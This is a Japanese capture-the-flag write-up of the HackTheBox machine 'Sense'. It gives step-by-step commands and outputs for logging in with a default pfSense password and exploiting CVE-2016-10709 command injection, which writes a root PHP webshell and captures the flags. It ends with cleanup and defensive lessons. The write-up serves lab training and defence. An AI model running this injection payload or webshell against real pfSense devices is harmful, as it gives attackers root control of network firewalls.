HackTheBox: Sense — 全実行コマンド・実行結果レポート
Nmap スキャン
80/443(lighttpd, pfSense)
→
80/443(lighttpd, pfSense)
/system-users.txt
Rohit / “company defaults” ヒント
→
Rohit / “company defaults” ヒント
pfSense webUIログイン
rohit:pfsense (既定PW)
→
rohit:pfsense (既定PW)
CVE-2016-10709
status_rrd_graph_img.php コマンド注入
→
status_rrd_graph_img.php コマンド注入
root (writeup.php webshell)
user.txt / root.txt ✓
user.txt / root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 80,443 -sV -sC --max-retries 2 10.129.84.170
RESULT
PORT STATE SERVICE VERSION 80/tcp open http lighttpd 1.4.35 |_http-title: Did not follow redirect to https://10.129.84.170/ 443/tcp open ssl/http lighttpd 1.4.35 |_http-title: Login | ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName | Not valid before: 2017-10-14T19:21:35 |_Not valid after: 2023-04-06T19:21:35
ℹ️
80番は443番へのHTTPSリダイレクト、443番のタイトルが
Login。
lighttpdというこの時代のpfSense(FreeBSDベースのファイアウォール/
ルーターOS)に特徴的なWebサーバーであり、TLS証明書の有効期限(2023年)からも
かなり古いバージョンだと推測できる。
既知ヒントファイルの確認
BASH
curl -sk https://10.129.84.170/system-users.txt
RESULT
####Support ticket### Please create the following user username: Rohit password: company defaults
⚠️
重要な解釈ポイント: この内容は生の
user:pass
ペアではなく、サポート担当者向けの作業指示(チケット)である。
password: company defaultsは「この会社の既定パスワードを
設定してください」という指示であり、文字列そのものがパスワードではない。
pfSenseの既定パスワードはpfsenseであることは
公知のため、実際の認証情報はrohit:pfsenseになると推測できる
(ユーザー名はヒント中では大文字Rohitだが、実際のアカウントは
小文字rohitであり大文字のままではログイン失敗する点にも注意)。
PHASE 2
pfSense webUI ログイン
CSRFトークン取得
BASH
curl -sk -c sense_cookies.txt https://10.129.84.170/index.php \ | grep -oP 'var csrfMagicToken = "[^"]+"'
RESULT
var csrfMagicToken = "sid:0e6faef91cb7227c89ce8bd7a540a94c9018b9ac,1792276866;ip:275cf42d1bccb4d4ca1dade93c3d137f27724a22,1792276866";
ℹ️
pfSenseはCSRFトークン(
__csrf_magic)をログインフォームに
埋め込み、セッションクッキーと紐付けて検証する。同じクッキージャーを
使ってトークンを取得→ログインPOSTまで一連の流れで送る必要がある。
ログイン実行
BASH
curl -sk -i -b sense_cookies.txt -c sense_cookies.txt \ --data-urlencode "__csrf_magic=sid:0e6faef9...,1792276866;ip:275cf42d...,1792276866" \ --data-urlencode "usernamefld=rohit" \ --data-urlencode "passwordfld=pfsense" \ --data-urlencode "login=" \ https://10.129.84.170/index.php
RESULT
HTTP/1.1 302 Found
Location: /
Server: lighttpd/1.4.35
✅
302 Found — ログイン成功(失敗の場合は200でログインページが
再表示される)。
rohit:pfsenseの推測が正しかったことが確認できる。
PHASE 3
CVE-2016-10709 コマンド注入による Webシェル配置
脆弱性の仕組み
NOTE
pfSense CE 2.1.3の status_rrd_graph_img.php は、グラフ種別を指定する "database" GETパラメータの値をサニタイズせずシェルコマンドの一部として 組み立てる。認証済みユーザーであれば";"でコマンドを連結して任意コマンドを 注入できる(CVE-2016-10709 / EDB-39709)。pfSenseのWebサービス自体が rootユーザーで動作しているため、この時点でフットホールドと権限昇格が 同時に完了する(別途の特権昇格ステップは不要)。 公開PoC(ExploitDB/Metasploitモジュール)はペイロードをoctal(8進数) エンコードする手法を使うが、このターゲットでは不安定(Sense.pdfでも明記)。 base64エンコードしたPHPコードを使う方式が確実に動作する。
🚨
埋め込むPHPコード(base64デコード前):
echo system($_GET['cmd']);
— これをeval(base64_decode('...'))でラップし、
databaseパラメータ経由でcd連打によりWeb公開
ディレクトリ(/usr/local/www)へ移動した上で、
echo "...">writeup.phpでファイルへ書き出す。
コマンド注入でWebシェルを書き込む
BASH
PHP_PAYLOAD='%3C%3Fphp+eval%28base64_decode%28%27ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg%27%29%29%3B%3F%3E'
curl -sk -b sense_cookies.txt \
"https://10.129.84.170/status_rrd_graph_img.php?database=queues;cd+..;cd+..;cd+..;cd+usr;cd+local;cd+www;echo+\"${PHP_PAYLOAD}\">writeup.php"
RESULT
HTTP 200
Warning: implode(): Invalid arguments passed in /usr/local/www/status_rrd_graph_img.php on line 1197
‰PNG...(RRDグラフのバイナリPNGデータ)
ℹ️
レスポンスはRRDグラフ生成スクリプト本来の動作であるPNG画像バイナリ
(+implode()警告)がそのまま返る。これは正常な副作用であり、
注入したコマンドの成否はレスポンス本文ではなく、
writeup.phpが
実際に作成されたかどうかで判定する必要がある。
Webシェル動作確認
BASH
curl -sk "https://10.129.84.170/writeup.php?cmd=id"
RESULT
uid=0(root) gid=0(wheel) groups=0(wheel)
uid=0(root) gid=0(wheel) groups=0(wheel)
⚠️
既にrootであることを確認(pfSenseのWeb UIプロセス自体が
rootで動作しているため)。また注目すべき点として、出力が
完全に同一内容を区切りなく2回連続で返っている —
これはペイロードが
echo system($_GET['cmd']);であるため、
system()がコマンド出力を直接標準出力へ書き込み、かつ
system()の戻り値(最後の1行)を外側のechoが
もう一度出力するという、PHPのsystem()関数の仕様に基づく
二重化である。フラグをcatする際もこの二重化がそのまま起こるため、
32桁のハッシュが64文字に見えても実際は同じ値が2つ繋がっているだけ、と
理解しておく必要がある。
PHASE 4
user.txt / root.txt 取得
フラグ取得
BASH
curl -sk "https://10.129.84.170/writeup.php" --data-urlencode "cmd=cat /home/rohit/user.txt" -G curl -sk "https://10.129.84.170/writeup.php" --data-urlencode "cmd=cat /root/root.txt" -G
RESULT
user.txt: 8721327cc232073b40d27d9c17e7348b8721327cc232073b40d27d9c17e7348b root.txt: d08c32a5d4f8c8b10e76eb51a69f1a86d08c32a5d4f8c8b10e76eb51a69f1a86
user.txt — rohit@SENSE
8721327cc232073b40d27d9c17e7348b
root.txt — root@SENSE
d08c32a5d4f8c8b10e76eb51a69f1a86
✅
先述の二重化どおり、出力は32文字のハッシュが区切り無しで2回連続した
64文字の文字列として返っている(表示上は最初の32文字のみが本来の値)。
既にWebサーバー自体がrootで動作しているため、フットホールドの
取得と同時に両フラグとも即座に取得可能。
後片付け(Webシェルの削除)
BASH
curl -sk "https://10.129.84.170/writeup.php" --data-urlencode "cmd=rm -f /usr/local/www/writeup.php" -G
curl -sk -o /dev/null -w "HTTP %{http_code}\n" "https://10.129.84.170/writeup.php?cmd=id"
RESULT
HTTP 404
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — rohit@SENSE
8721327cc232073b40d27d9c17e7348b
root.txt — root@SENSE
d08c32a5d4f8c8b10e76eb51a69f1a86
使用した脆弱性・手法
| 脆弱性/手法 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 既定パスワードの放置 | pfSense CE 2.1.3 webUI | ヒントファイルからの認証情報推測 | Medium | /system-users.txtの「company defaults」というラベルを
pfSenseの公知の既定パスワードpfsenseと結び付け、
rohit:pfsenseでログイン成功 |
| CVE-2016-10709 | pfSense status_rrd_graph_img.php (database param) | 認証済みOSコマンド注入(root権限) | Critical | base64でラップしたPHP webshellをdatabaseパラメータの
注入でWeb公開ディレクトリへ書き込み、user.txt / root.txt
を同時に取得可能なrootシェルを獲得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(80/443) + /system-users.txt | pfSense検出、ユーザー名ヒント |
| 2 | 認証 | CSRFトークン取得→rohit:pfsenseでログイン | 認証済みセッション確立 |
| 3 | RCE | CVE-2016-10709コマンド注入 | root権限のPHP webshell配置 |
| 4 | フラグ取得 | webshell経由cat | user.txt / root.txt(両方同時) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| サポートチケットのような内部文書がWeb公開ディレクトリから 認証なしで取得可能になっている | 内部向けドキュメント・チケットはWebサーバーの公開ルートに 置かない。誤って配置されたファイルを検出する定期スキャンを実施する。 |
| pfSenseの既定パスワードがアカウント作成時に変更されずそのまま 運用されている | 初回ログイン時にパスワード変更を強制する運用を徹底し、 既定の認証情報が残っていないか定期的に監査する。 |
| 2016年公開の既知脆弱性(CVE-2016-10709)が未パッチの古いpfSense CE 2.1.3が稼働、かつWebサービスがroot権限で動作している | pfSenseを最新版へアップグレードする。Webサービスは可能な限り 最小権限ユーザーで動作させ、GETパラメータをシェルコマンドの構成要素 として扱わない(エスケープではなく構造的分離、許可された値のみの ホワイトリスト化)。 |

